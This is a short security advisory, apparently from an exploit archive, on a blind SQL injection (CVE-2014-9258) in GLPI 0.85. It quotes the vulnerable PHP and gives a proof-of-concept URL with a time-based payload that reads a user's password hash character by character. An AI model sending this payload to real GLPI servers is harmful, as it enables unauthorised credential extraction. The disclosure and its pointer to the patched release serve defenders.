GLPI 0.85 – Blind SQL Injection
# Exploit Title: GLPI 0.85 Blind SQL Injection # Date: 28-11-2014 # Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek # Software Link: https://forge.indepnet.net/attachments/download/1899/glpi-0.85.tar.gz # CVE: CVE-2014-9258 # Category: webapps 1. Description $_GET['condition'] is not escaped correctly. File: ajax\getDropdownValue.php if (isset($_GET['condition']) && !empty($_GET['condition'])) { $_GET['condition'] = rawurldecode(stripslashes($_GET['condition'])); } if (isset($_GET['condition']) && ($_GET['condition'] != '')) { $where .= " AND ".$_GET['condition']." "; } $query = "SELECT `$table`.* $addselect FROM `$table` $addjoin $where ORDER BY $add_order `$table`.`completename` $LIMIT"; if ($result = $DB->query($query)) { } http://security.szurek.pl/glpi-085-blind-sql-injection.html 2. Proof of Concept http://glpi-url/ajax/getDropdownValue.php?itemtype=group&condition=1 AND id = (SELECT IF(substr(password,1,1) = CHAR(36), SLEEP(5), 0) FROM `glpi_users` WHERE ID = 2) 3. Solution: Update to version 0.85.1 http://www.glpi-project.org/spip.php?page=annonce&id_breve=334&lang=en https://forge.indepnet.net/attachments/download/1928/glpi-0.85.1.tar.gz |